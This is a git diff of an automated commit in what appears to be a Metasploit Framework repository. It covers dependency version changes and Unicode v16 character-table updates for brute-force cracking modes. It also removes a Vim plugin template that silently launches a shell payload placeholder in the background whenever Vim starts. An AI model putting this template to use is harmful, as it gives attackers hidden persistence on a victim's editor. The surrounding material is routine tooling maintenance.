Compare commits

..

1 Commits

Author SHA1 Message Date
github-actions[bot] 254b949ad3 Update report 2026-05-04 01:32:40 +00:00
52 changed files with 14958 additions and 1402 deletions
+1
View File
@@ -56,3 +56,4 @@ group :test do
# stub and set expectations on HTTP requests
gem 'webmock', '~> 3.18'
end
+3 -3
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.133)
metasploit-framework (6.4.132)
aarch64
abbrev
actionpack (~> 7.2.0)
@@ -499,7 +499,7 @@ GEM
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
rex-arch (0.1.20)
rex-arch (0.1.19)
rex-text
rex-bin_tools (0.1.16)
metasm
@@ -549,7 +549,7 @@ GEM
rex-socket
rex-text
rex-struct2 (0.1.5)
rex-text (0.2.63)
rex-text (0.2.62)
bigdecimal
rex-zip (0.1.6)
rex-text
+6 -6
View File
@@ -100,8 +100,8 @@ mcp, 0.13.0, "Apache 2.0"
memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.5, "New BSD"
metasploit-credential, 6.0.23, "New BSD"
metasploit-framework, 6.4.133, "New BSD"
metasploit-credential, 6.0.21, "New BSD"
metasploit-framework, 6.4.132, "New BSD"
metasploit-model, 5.0.4, "New BSD"
metasploit-payloads, 2.0.245, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.18, "New BSD"
@@ -170,10 +170,10 @@ regexp_parser, 2.11.3, MIT
reline, 0.6.2, ruby
require_all, 3.0.0, MIT
rest-client, 2.1.0, MIT
rex-arch, 0.1.20, "New BSD"
rex-arch, 0.1.19, "New BSD"
rex-bin_tools, 0.1.16, "New BSD"
rex-core, 0.1.36, "New BSD"
rex-encoder, 0.1.10, "New BSD"
rex-encoder, 0.1.8, "New BSD"
rex-exploitation, 0.1.44, "New BSD"
rex-java, 0.1.8, "New BSD"
rex-mime, 0.1.11, "New BSD"
@@ -183,10 +183,10 @@ rex-powershell, 0.1.103, "New BSD"
rex-random_identifier, 0.1.21, "New BSD"
rex-registry, 0.1.6, "New BSD"
rex-rop_builder, 0.1.6, "New BSD"
rex-socket, 0.1.65, "New BSD"
rex-socket, 0.1.64, "New BSD"
rex-sslscan, 0.1.13, "New BSD"
rex-struct2, 0.1.5, "New BSD"
rex-text, 0.2.63, "New BSD"
rex-text, 0.2.62, "New BSD"
rex-zip, 0.1.6, "New BSD"
rexml, 3.4.1, "Simplified BSD"
rinda, 0.2.0, "ruby, Simplified BSD"
-11
View File
@@ -1,11 +0,0 @@
" NAME.vim - Runs in the background on startup, discards output
if !has('job') || exists('g:loaded_ZZWcUtfrDa')
finish
endif
let g:loaded_NAME = 1
augroup NAME
autocmd!
autocmd VimEnter * silent! call job_start(["/bin/sh", "-c", "PAYLOAD_PLACEHOLDER"], {'out_io': 'null', 'err_io': 'null'})
augroup END
+42 -51
View File
@@ -1,11 +1,11 @@
# This software is Copyright (c) 2012-2020 magnum, and it is hereby
# This software is Copyright (c) 2012-2024 magnum, and it is hereby
# released to the general public under the following terms:
# Redistribution and use in source and binary forms, with or without
# modification, are permitted.
#
# Generic implementation of "dumb" exhaustive search of Unicode BMP.
# Default is to try *all* allocated characters in the BMP of Unicode v13
# (there's 55,387 of them). Even if a fast format can exhaust two characters
# Default is to try *all* allocated characters in the BMP of Unicode v16
# (there's 55,537 of them). Even if a fast format can exhaust two characters
# in 15 minutes, three characters would take 1.5 years...
#
# Note that these modes will handle --max-len differently than normal: They
@@ -22,7 +22,7 @@ int maxlength; // Maximum password length to try
int last; // Last character position, zero-based
int lastid; // Character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x10000], c0; // Characters
int charset[0xd900], c0; // Characters
void init()
{
@@ -43,7 +43,7 @@ void init()
/*
* This defines the character set. This is auto-generated from UnicodeData.txt
* and we skip control characters.
* of Unicode 16.0.0 and we skip control characters.
*/
i = 0;
// 0000..007F; Basic Latin
@@ -119,9 +119,6 @@ void init()
charset[i++] = c++;
// 0600..06FF; Arabic
c = 0x600; // from ARABIC NUMBER SIGN
while (c <= 0x61c) // ..to ARABIC LETTER MARK
charset[i++] = c++;
c = 0x61e; // from ARABIC TRIPLE DOT PUNCTUATION MARK
while (c <= 0x6ff) // ..to ARABIC LETTER HEH WITH INVERTED V
charset[i++] = c++;
// 0700..074F; Syriac
@@ -163,14 +160,17 @@ void init()
c = 0x860; // from SYRIAC LETTER MALAYALAM NGA
while (c <= 0x86a) // ..to SYRIAC LETTER MALAYALAM SSA
charset[i++] = c++;
// 0870..089F; Arabic Extended-B
c = 0x870; // from ARABIC LETTER ALEF WITH ATTACHED FATHA
while (c <= 0x88e) // ..to ARABIC VERTICAL TAIL
charset[i++] = c++;
charset[i++] = 0x890; // ARABIC POUND MARK ABOVE
charset[i++] = 0x891; // ARABIC PIASTRE MARK ABOVE
c = 0x897; // from ARABIC PEPET
while (c <= 0x89f) // ..to ARABIC HALF MADDA OVER MADDA
charset[i++] = c++;
// 08A0..08FF; Arabic Extended-A
c = 0x8a0; // from ARABIC LETTER BEH WITH SMALL V BELOW
while (c <= 0x8b4) // ..to ARABIC LETTER KAF WITH DOT BELOW
charset[i++] = c++;
c = 0x8b6; // from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
while (c <= 0x8c7) // ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
charset[i++] = c++;
c = 0x8d3; // from ARABIC SMALL LOW WAW
while (c <= 0x8ff) // ..to ARABIC MARK SIDEWAYS NOON GHUNNA
charset[i++] = c++;
// 0900..097F; Devanagari
@@ -360,7 +360,7 @@ void init()
c = 0xc2a; // from TELUGU LETTER PA
while (c <= 0xc39) // ..to TELUGU LETTER HA
charset[i++] = c++;
c = 0xc3d; // from TELUGU SIGN AVAGRAHA
c = 0xc3c; // from TELUGU SIGN NUKTA
while (c <= 0xc44) // ..to TELUGU VOWEL SIGN VOCALIC RR
charset[i++] = c++;
charset[i++] = 0xc46; // TELUGU VOWEL SIGN E
@@ -406,6 +406,8 @@ void init()
charset[i++] = c++;
charset[i++] = 0xcd5; // KANNADA LENGTH MARK
charset[i++] = 0xcd6; // KANNADA AI LENGTH MARK
charset[i++] = 0xcdd; // KANNADA LETTER NAKAARA POLLU
charset[i++] = 0xcde; // KANNADA LETTER FA
c = 0xce0; // from KANNADA LETTER VOCALIC RR
while (c <= 0xce3) // ..to KANNADA VOWEL SIGN VOCALIC LL
charset[i++] = c++;
@@ -413,7 +415,7 @@ void init()
while (c <= 0xcef) // ..to KANNADA DIGIT NINE
charset[i++] = c++;
charset[i++] = 0xcf1; // KANNADA SIGN JIHVAMULIYA
charset[i++] = 0xcf2; // KANNADA SIGN UPADHMANIYA
charset[i++] = 0xcf3; // KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT
// 0D00..0D7F; Malayalam
c = 0xd00; // from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
while (c <= 0xd0c) // ..to MALAYALAM LETTER VOCALIC L
@@ -483,7 +485,7 @@ void init()
while (c <= 0xec4) // ..to LAO VOWEL SIGN AI
charset[i++] = c++;
c = 0xec8; // from LAO TONE MAI EK
while (c <= 0xecd) // ..to LAO NIGGAHITA
while (c <= 0xece) // ..to LAO YAMAKKAN
charset[i++] = c++;
c = 0xed0; // from LAO DIGIT ZERO
while (c <= 0xed9) // ..to LAO DIGIT NINE
@@ -596,11 +598,9 @@ void init()
charset[i++] = c++;
// 1700..171F; Tagalog
c = 0x1700; // from TAGALOG LETTER A
while (c <= 0x170c) // ..to TAGALOG LETTER YA
charset[i++] = c++;
c = 0x170e; // from TAGALOG LETTER LA
while (c <= 0x1714) // ..to TAGALOG SIGN VIRAMA
while (c <= 0x1715) // ..to TAGALOG SIGN PAMUDPOD
charset[i++] = c++;
charset[i++] = 0x171f; // TAGALOG LETTER ARCHAIC RA
// 1720..173F; Hanunoo
c = 0x1720; // from HANUNOO LETTER A
while (c <= 0x1736) // ..to PHILIPPINE DOUBLE PUNCTUATION
@@ -629,9 +629,6 @@ void init()
charset[i++] = c++;
// 1800..18AF; Mongolian
c = 0x1800; // from MONGOLIAN BIRGA
while (c <= 0x180e) // ..to MONGOLIAN VOWEL SEPARATOR
charset[i++] = c++;
c = 0x1810; // from MONGOLIAN DIGIT ZERO
while (c <= 0x1819) // ..to MONGOLIAN DIGIT NINE
charset[i++] = c++;
c = 0x1820; // from MONGOLIAN LETTER A
@@ -704,14 +701,14 @@ void init()
charset[i++] = c++;
// 1AB0..1AFF; Combining Diacritical Marks Extended
c = 0x1ab0; // from COMBINING DOUBLED CIRCUMFLEX ACCENT
while (c <= 0x1ac0) // ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
while (c <= 0x1ace) // ..to COMBINING LATIN SMALL LETTER INSULAR T
charset[i++] = c++;
// 1B00..1B7F; Balinese
c = 0x1b00; // from BALINESE SIGN ULU RICEM
while (c <= 0x1b4b) // ..to BALINESE LETTER ASYURA SASAK
while (c <= 0x1b4c) // ..to BALINESE LETTER ARCHAIC JNYA
charset[i++] = c++;
c = 0x1b50; // from BALINESE DIGIT ZERO
while (c <= 0x1b7c) // ..to BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
c = 0x1b4e; // from BALINESE INVERTED CARIK SIKI
while (c <= 0x1b7f) // ..to BALINESE PANTI BAWAK
charset[i++] = c++;
// 1B80..1BBF; Sundanese
c = 0x1b80; // from SUNDANESE SIGN PANYECEK
@@ -739,7 +736,7 @@ void init()
charset[i++] = c++;
// 1C80..1C8F; Cyrillic Extended-C
c = 0x1c80; // from CYRILLIC SMALL LETTER ROUNDED VE
while (c <= 0x1c88) // ..to CYRILLIC SMALL LETTER UNBLENDED UK
while (c <= 0x1c8a) // ..to CYRILLIC SMALL LETTER TJE
charset[i++] = c++;
// 1C90..1CBF; Georgian Extended
c = 0x1c90; // from GEORGIAN MTAVRULI CAPITAL LETTER AN
@@ -765,9 +762,6 @@ void init()
charset[i++] = c++;
// 1DC0..1DFF; Combining Diacritical Marks Supplement
c = 0x1dc0; // from COMBINING DOTTED GRAVE ACCENT
while (c <= 0x1df9) // ..to COMBINING WIDE INVERTED BRIDGE BELOW
charset[i++] = c++;
c = 0x1dfb; // from COMBINING DELETION MARK
while (c <= 0x1dff) // ..to COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
charset[i++] = c++;
// 1E00..1EFF; Latin Extended Additional
@@ -831,7 +825,7 @@ void init()
charset[i++] = c++;
// 20A0..20CF; Currency Symbols
c = 0x20a0; // from EURO-CURRENCY SIGN
while (c <= 0x20bf) // ..to BITCOIN SIGN
while (c <= 0x20c0) // ..to SOM SIGN
charset[i++] = c++;
// 20D0..20FF; Combining Diacritical Marks for Symbols
c = 0x20d0; // from COMBINING LEFT HARPOON ABOVE
@@ -859,7 +853,7 @@ void init()
charset[i++] = c++;
// 2400..243F; Control Pictures
c = 0x2400; // from SYMBOL FOR NULL
while (c <= 0x2426) // ..to SYMBOL FOR SUBSTITUTE FORM TWO
while (c <= 0x2429) // ..to SYMBOL FOR DELETE MEDIUM SHADE FORM
charset[i++] = c++;
// 2440..245F; Optical Character Recognition
c = 0x2440; // from OCR HOOK
@@ -925,10 +919,7 @@ void init()
charset[i++] = c++;
// 2C00..2C5F; Glagolitic
c = 0x2c00; // from GLAGOLITIC CAPITAL LETTER AZU
while (c <= 0x2c2e) // ..to GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
charset[i++] = c++;
c = 0x2c30; // from GLAGOLITIC SMALL LETTER AZU
while (c <= 0x2c5e) // ..to GLAGOLITIC SMALL LETTER LATINATE MYSLITE
while (c <= 0x2c5f) // ..to GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
charset[i++] = c++;
// 2C60..2C7F; Latin Extended-C
c = 0x2c60; // from LATIN CAPITAL LETTER L WITH DOUBLE BAR
@@ -989,7 +980,7 @@ void init()
charset[i++] = c++;
// 2E00..2E7F; Supplemental Punctuation
c = 0x2e00; // from RIGHT ANGLE SUBSTITUTION MARKER
while (c <= 0x2e52) // ..to TIRONIAN SIGN CAPITAL ET
while (c <= 0x2e5d) // ..to OBLIQUE HYPHEN
charset[i++] = c++;
// 2E80..2EFF; CJK Radicals Supplement
c = 0x2e80; // from CJK RADICAL REPEAT
@@ -1004,7 +995,7 @@ void init()
charset[i++] = c++;
// 2FF0..2FFF; Ideographic Description Characters
c = 0x2ff0; // from IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
while (c <= 0x2ffb) // ..to IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
while (c <= 0x2fff) // ..to IDEOGRAPHIC DESCRIPTION CHARACTER ROTATION
charset[i++] = c++;
// 3000..303F; CJK Symbols and Punctuation
c = 0x3000; // from IDEOGRAPHIC SPACE
@@ -1039,8 +1030,9 @@ void init()
charset[i++] = c++;
// 31C0..31EF; CJK Strokes
c = 0x31c0; // from CJK STROKE T
while (c <= 0x31e3) // ..to CJK STROKE Q
while (c <= 0x31e5) // ..to CJK STROKE SZP
charset[i++] = c++;
charset[i++] = 0x31ef; // IDEOGRAPHIC DESCRIPTION CHARACTER SUBTRACTION
// 31F0..31FF; Katakana Phonetic Extensions
c = 0x31f0; // from KATAKANA LETTER SMALL KU
while (c <= 0x31ff) // ..to KATAKANA LETTER SMALL RO
@@ -1066,7 +1058,7 @@ void init()
charset[i++] = c++;
// 4E00..9FFF; CJK Unified Ideographs
c = 0x4e00; // from <CJK Ideograph, First>
while (c <= 0x9ffc) // ..to <CJK Ideograph, Last>
while (c <= 0x9fff) // ..to <CJK Ideograph, Last>
charset[i++] = c++;
// A000..A48F; Yi Syllables
c = 0xa000; // from YI SYLLABLE IT
@@ -1098,12 +1090,14 @@ void init()
charset[i++] = c++;
// A720..A7FF; Latin Extended-D
c = 0xa720; // from MODIFIER LETTER STRESS AND HIGH TONE
while (c <= 0xa7bf) // ..to LATIN SMALL LETTER GLOTTAL U
while (c <= 0xa7cd) // ..to LATIN SMALL LETTER S WITH DIAGONAL STROKE
charset[i++] = c++;
c = 0xa7c2; // from LATIN CAPITAL LETTER ANGLICANA W
while (c <= 0xa7ca) // ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
charset[i++] = 0xa7d0; // LATIN CAPITAL LETTER CLOSED INSULAR G
charset[i++] = 0xa7d1; // LATIN SMALL LETTER CLOSED INSULAR G
c = 0xa7d5; // from LATIN SMALL LETTER DOUBLE WYNN
while (c <= 0xa7dc) // ..to LATIN CAPITAL LETTER LAMBDA WITH STROKE
charset[i++] = c++;
c = 0xa7f5; // from LATIN CAPITAL LETTER REVERSED HALF H
c = 0xa7f2; // from MODIFIER LETTER CAPITAL C
while (c <= 0xa7ff) // ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
charset[i++] = c++;
// A800..A82F; Syloti Nagri
@@ -1258,19 +1252,16 @@ void init()
charset[i++] = c++;
// FB50..FDFF; Arabic Presentation Forms-A
c = 0xfb50; // from ARABIC LETTER ALEF WASLA ISOLATED FORM
while (c <= 0xfbc1) // ..to ARABIC SYMBOL SMALL TAH BELOW
while (c <= 0xfbc2) // ..to ARABIC SYMBOL WASLA ABOVE
charset[i++] = c++;
c = 0xfbd3; // from ARABIC LETTER NG ISOLATED FORM
while (c <= 0xfd3f) // ..to ORNATE RIGHT PARENTHESIS
charset[i++] = c++;
c = 0xfd50; // from ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
while (c <= 0xfd8f) // ..to ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
charset[i++] = c++;
c = 0xfd92; // from ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
while (c <= 0xfdc7) // ..to ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
charset[i++] = c++;
c = 0xfdf0; // from ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
while (c <= 0xfdfd) // ..to ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
while (c <= 0xfdff) // ..to ARABIC LIGATURE AZZA WA JALL
charset[i++] = c++;
// FE00..FE0F; Variation Selectors
c = 0xfe00; // from VARIATION SELECTOR-1
+283 -91
View File
@@ -1,11 +1,11 @@
# This software is Copyright (c) 2012-2020 magnum, and it is hereby
# This software is Copyright (c) 2012-2024 magnum, and it is hereby
# released to the general public under the following terms:
# Redistribution and use in source and binary forms, with or without
# modification, are permitted.
#
# Generic implementation of "dumb" exhaustive search of FULL Unicode.
# Default is to try *all* allocated characters in Unicode v13 (there's
# 143,532 of them). Even if a fast format can exhaust two characters in one
# Default is to try *all* allocated characters in Unicode v16 (there's
# 154,663 of them). Even if a fast format can exhaust two characters in one
# hour, three characters would take 12 years...
#
# Note that these modes will handle --max-len differently than normal: They
@@ -27,7 +27,7 @@ int maxlength; // Maximum password length to try
int last; // Last character position, zero-based
int lastid; // Character index in the last position
int id[0x7f]; // Current character indices for other positions
int charset[0x24000], c0; // Characters
int charset[0x25c30], c0; // Characters
void init()
{
@@ -48,7 +48,7 @@ void init()
/*
* This defines the character set. This is auto-generated from UnicodeData.txt
* and we skip control characters.
* of Unicode 16.0.0 and we skip control characters.
*/
i = 0;
// 0000..007F; Basic Latin
@@ -124,9 +124,6 @@ void init()
charset[i++] = c++;
// 0600..06FF; Arabic
c = 0x600; // from ARABIC NUMBER SIGN
while (c <= 0x61c) // ..to ARABIC LETTER MARK
charset[i++] = c++;
c = 0x61e; // from ARABIC TRIPLE DOT PUNCTUATION MARK
while (c <= 0x6ff) // ..to ARABIC LETTER HEH WITH INVERTED V
charset[i++] = c++;
// 0700..074F; Syriac
@@ -168,14 +165,17 @@ void init()
c = 0x860; // from SYRIAC LETTER MALAYALAM NGA
while (c <= 0x86a) // ..to SYRIAC LETTER MALAYALAM SSA
charset[i++] = c++;
// 0870..089F; Arabic Extended-B
c = 0x870; // from ARABIC LETTER ALEF WITH ATTACHED FATHA
while (c <= 0x88e) // ..to ARABIC VERTICAL TAIL
charset[i++] = c++;
charset[i++] = 0x890; // ARABIC POUND MARK ABOVE
charset[i++] = 0x891; // ARABIC PIASTRE MARK ABOVE
c = 0x897; // from ARABIC PEPET
while (c <= 0x89f) // ..to ARABIC HALF MADDA OVER MADDA
charset[i++] = c++;
// 08A0..08FF; Arabic Extended-A
c = 0x8a0; // from ARABIC LETTER BEH WITH SMALL V BELOW
while (c <= 0x8b4) // ..to ARABIC LETTER KAF WITH DOT BELOW
charset[i++] = c++;
c = 0x8b6; // from ARABIC LETTER BEH WITH SMALL MEEM ABOVE
while (c <= 0x8c7) // ..to ARABIC LETTER LAM WITH SMALL ARABIC LETTER TAH ABOVE
charset[i++] = c++;
c = 0x8d3; // from ARABIC SMALL LOW WAW
while (c <= 0x8ff) // ..to ARABIC MARK SIDEWAYS NOON GHUNNA
charset[i++] = c++;
// 0900..097F; Devanagari
@@ -365,7 +365,7 @@ void init()
c = 0xc2a; // from TELUGU LETTER PA
while (c <= 0xc39) // ..to TELUGU LETTER HA
charset[i++] = c++;
c = 0xc3d; // from TELUGU SIGN AVAGRAHA
c = 0xc3c; // from TELUGU SIGN NUKTA
while (c <= 0xc44) // ..to TELUGU VOWEL SIGN VOCALIC RR
charset[i++] = c++;
charset[i++] = 0xc46; // TELUGU VOWEL SIGN E
@@ -411,6 +411,8 @@ void init()
charset[i++] = c++;
charset[i++] = 0xcd5; // KANNADA LENGTH MARK
charset[i++] = 0xcd6; // KANNADA AI LENGTH MARK
charset[i++] = 0xcdd; // KANNADA LETTER NAKAARA POLLU
charset[i++] = 0xcde; // KANNADA LETTER FA
c = 0xce0; // from KANNADA LETTER VOCALIC RR
while (c <= 0xce3) // ..to KANNADA VOWEL SIGN VOCALIC LL
charset[i++] = c++;
@@ -418,7 +420,7 @@ void init()
while (c <= 0xcef) // ..to KANNADA DIGIT NINE
charset[i++] = c++;
charset[i++] = 0xcf1; // KANNADA SIGN JIHVAMULIYA
charset[i++] = 0xcf2; // KANNADA SIGN UPADHMANIYA
charset[i++] = 0xcf3; // KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT
// 0D00..0D7F; Malayalam
c = 0xd00; // from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
while (c <= 0xd0c) // ..to MALAYALAM LETTER VOCALIC L
@@ -488,7 +490,7 @@ void init()
while (c <= 0xec4) // ..to LAO VOWEL SIGN AI
charset[i++] = c++;
c = 0xec8; // from LAO TONE MAI EK
while (c <= 0xecd) // ..to LAO NIGGAHITA
while (c <= 0xece) // ..to LAO YAMAKKAN
charset[i++] = c++;
c = 0xed0; // from LAO DIGIT ZERO
while (c <= 0xed9) // ..to LAO DIGIT NINE
@@ -601,11 +603,9 @@ void init()
charset[i++] = c++;
// 1700..171F; Tagalog
c = 0x1700; // from TAGALOG LETTER A
while (c <= 0x170c) // ..to TAGALOG LETTER YA
charset[i++] = c++;
c = 0x170e; // from TAGALOG LETTER LA
while (c <= 0x1714) // ..to TAGALOG SIGN VIRAMA
while (c <= 0x1715) // ..to TAGALOG SIGN PAMUDPOD
charset[i++] = c++;
charset[i++] = 0x171f; // TAGALOG LETTER ARCHAIC RA
// 1720..173F; Hanunoo
c = 0x1720; // from HANUNOO LETTER A
while (c <= 0x1736) // ..to PHILIPPINE DOUBLE PUNCTUATION
@@ -634,9 +634,6 @@ void init()
charset[i++] = c++;
// 1800..18AF; Mongolian
c = 0x1800; // from MONGOLIAN BIRGA
while (c <= 0x180e) // ..to MONGOLIAN VOWEL SEPARATOR
charset[i++] = c++;
c = 0x1810; // from MONGOLIAN DIGIT ZERO
while (c <= 0x1819) // ..to MONGOLIAN DIGIT NINE
charset[i++] = c++;
c = 0x1820; // from MONGOLIAN LETTER A
@@ -709,14 +706,14 @@ void init()
charset[i++] = c++;
// 1AB0..1AFF; Combining Diacritical Marks Extended
c = 0x1ab0; // from COMBINING DOUBLED CIRCUMFLEX ACCENT
while (c <= 0x1ac0) // ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
while (c <= 0x1ace) // ..to COMBINING LATIN SMALL LETTER INSULAR T
charset[i++] = c++;
// 1B00..1B7F; Balinese
c = 0x1b00; // from BALINESE SIGN ULU RICEM
while (c <= 0x1b4b) // ..to BALINESE LETTER ASYURA SASAK
while (c <= 0x1b4c) // ..to BALINESE LETTER ARCHAIC JNYA
charset[i++] = c++;
c = 0x1b50; // from BALINESE DIGIT ZERO
while (c <= 0x1b7c) // ..to BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
c = 0x1b4e; // from BALINESE INVERTED CARIK SIKI
while (c <= 0x1b7f) // ..to BALINESE PANTI BAWAK
charset[i++] = c++;
// 1B80..1BBF; Sundanese
c = 0x1b80; // from SUNDANESE SIGN PANYECEK
@@ -744,7 +741,7 @@ void init()
charset[i++] = c++;
// 1C80..1C8F; Cyrillic Extended-C
c = 0x1c80; // from CYRILLIC SMALL LETTER ROUNDED VE
while (c <= 0x1c88) // ..to CYRILLIC SMALL LETTER UNBLENDED UK
while (c <= 0x1c8a) // ..to CYRILLIC SMALL LETTER TJE
charset[i++] = c++;
// 1C90..1CBF; Georgian Extended
c = 0x1c90; // from GEORGIAN MTAVRULI CAPITAL LETTER AN
@@ -770,9 +767,6 @@ void init()
charset[i++] = c++;
// 1DC0..1DFF; Combining Diacritical Marks Supplement
c = 0x1dc0; // from COMBINING DOTTED GRAVE ACCENT
while (c <= 0x1df9) // ..to COMBINING WIDE INVERTED BRIDGE BELOW
charset[i++] = c++;
c = 0x1dfb; // from COMBINING DELETION MARK
while (c <= 0x1dff) // ..to COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
charset[i++] = c++;
// 1E00..1EFF; Latin Extended Additional
@@ -836,7 +830,7 @@ void init()
charset[i++] = c++;
// 20A0..20CF; Currency Symbols
c = 0x20a0; // from EURO-CURRENCY SIGN
while (c <= 0x20bf) // ..to BITCOIN SIGN
while (c <= 0x20c0) // ..to SOM SIGN
charset[i++] = c++;
// 20D0..20FF; Combining Diacritical Marks for Symbols
c = 0x20d0; // from COMBINING LEFT HARPOON ABOVE
@@ -864,7 +858,7 @@ void init()
charset[i++] = c++;
// 2400..243F; Control Pictures
c = 0x2400; // from SYMBOL FOR NULL
while (c <= 0x2426) // ..to SYMBOL FOR SUBSTITUTE FORM TWO
while (c <= 0x2429) // ..to SYMBOL FOR DELETE MEDIUM SHADE FORM
charset[i++] = c++;
// 2440..245F; Optical Character Recognition
c = 0x2440; // from OCR HOOK
@@ -930,10 +924,7 @@ void init()
charset[i++] = c++;
// 2C00..2C5F; Glagolitic
c = 0x2c00; // from GLAGOLITIC CAPITAL LETTER AZU
while (c <= 0x2c2e) // ..to GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
charset[i++] = c++;
c = 0x2c30; // from GLAGOLITIC SMALL LETTER AZU
while (c <= 0x2c5e) // ..to GLAGOLITIC SMALL LETTER LATINATE MYSLITE
while (c <= 0x2c5f) // ..to GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
charset[i++] = c++;
// 2C60..2C7F; Latin Extended-C
c = 0x2c60; // from LATIN CAPITAL LETTER L WITH DOUBLE BAR
@@ -994,7 +985,7 @@ void init()
charset[i++] = c++;
// 2E00..2E7F; Supplemental Punctuation
c = 0x2e00; // from RIGHT ANGLE SUBSTITUTION MARKER
while (c <= 0x2e52) // ..to TIRONIAN SIGN CAPITAL ET
while (c <= 0x2e5d) // ..to OBLIQUE HYPHEN
charset[i++] = c++;
// 2E80..2EFF; CJK Radicals Supplement
c = 0x2e80; // from CJK RADICAL REPEAT
@@ -1009,7 +1000,7 @@ void init()
charset[i++] = c++;
// 2FF0..2FFF; Ideographic Description Characters
c = 0x2ff0; // from IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
while (c <= 0x2ffb) // ..to IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
while (c <= 0x2fff) // ..to IDEOGRAPHIC DESCRIPTION CHARACTER ROTATION
charset[i++] = c++;
// 3000..303F; CJK Symbols and Punctuation
c = 0x3000; // from IDEOGRAPHIC SPACE
@@ -1044,8 +1035,9 @@ void init()
charset[i++] = c++;
// 31C0..31EF; CJK Strokes
c = 0x31c0; // from CJK STROKE T
while (c <= 0x31e3) // ..to CJK STROKE Q
while (c <= 0x31e5) // ..to CJK STROKE SZP
charset[i++] = c++;
charset[i++] = 0x31ef; // IDEOGRAPHIC DESCRIPTION CHARACTER SUBTRACTION
// 31F0..31FF; Katakana Phonetic Extensions
c = 0x31f0; // from KATAKANA LETTER SMALL KU
while (c <= 0x31ff) // ..to KATAKANA LETTER SMALL RO
@@ -1071,7 +1063,7 @@ void init()
charset[i++] = c++;
// 4E00..9FFF; CJK Unified Ideographs
c = 0x4e00; // from <CJK Ideograph, First>
while (c <= 0x9ffc) // ..to <CJK Ideograph, Last>
while (c <= 0x9fff) // ..to <CJK Ideograph, Last>
charset[i++] = c++;
// A000..A48F; Yi Syllables
c = 0xa000; // from YI SYLLABLE IT
@@ -1103,12 +1095,14 @@ void init()
charset[i++] = c++;
// A720..A7FF; Latin Extended-D
c = 0xa720; // from MODIFIER LETTER STRESS AND HIGH TONE
while (c <= 0xa7bf) // ..to LATIN SMALL LETTER GLOTTAL U
while (c <= 0xa7cd) // ..to LATIN SMALL LETTER S WITH DIAGONAL STROKE
charset[i++] = c++;
c = 0xa7c2; // from LATIN CAPITAL LETTER ANGLICANA W
while (c <= 0xa7ca) // ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
charset[i++] = 0xa7d0; // LATIN CAPITAL LETTER CLOSED INSULAR G
charset[i++] = 0xa7d1; // LATIN SMALL LETTER CLOSED INSULAR G
c = 0xa7d5; // from LATIN SMALL LETTER DOUBLE WYNN
while (c <= 0xa7dc) // ..to LATIN CAPITAL LETTER LAMBDA WITH STROKE
charset[i++] = c++;
c = 0xa7f5; // from LATIN CAPITAL LETTER REVERSED HALF H
c = 0xa7f2; // from MODIFIER LETTER CAPITAL C
while (c <= 0xa7ff) // ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
charset[i++] = c++;
// A800..A82F; Syloti Nagri
@@ -1263,19 +1257,16 @@ void init()
charset[i++] = c++;
// FB50..FDFF; Arabic Presentation Forms-A
c = 0xfb50; // from ARABIC LETTER ALEF WASLA ISOLATED FORM
while (c <= 0xfbc1) // ..to ARABIC SYMBOL SMALL TAH BELOW
while (c <= 0xfbc2) // ..to ARABIC SYMBOL WASLA ABOVE
charset[i++] = c++;
c = 0xfbd3; // from ARABIC LETTER NG ISOLATED FORM
while (c <= 0xfd3f) // ..to ORNATE RIGHT PARENTHESIS
charset[i++] = c++;
c = 0xfd50; // from ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
while (c <= 0xfd8f) // ..to ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
charset[i++] = c++;
c = 0xfd92; // from ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
while (c <= 0xfdc7) // ..to ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
charset[i++] = c++;
c = 0xfdf0; // from ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
while (c <= 0xfdfd) // ..to ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
while (c <= 0xfdff) // ..to ARABIC LIGATURE AZZA WA JALL
charset[i++] = c++;
// FE00..FE0F; Variation Selectors
c = 0xfe00; // from VARIATION SELECTOR-1
@@ -1448,6 +1439,33 @@ void init()
while (c <= 0x10563) // ..to CAUCASIAN ALBANIAN LETTER KIW
charset[i++] = c++;
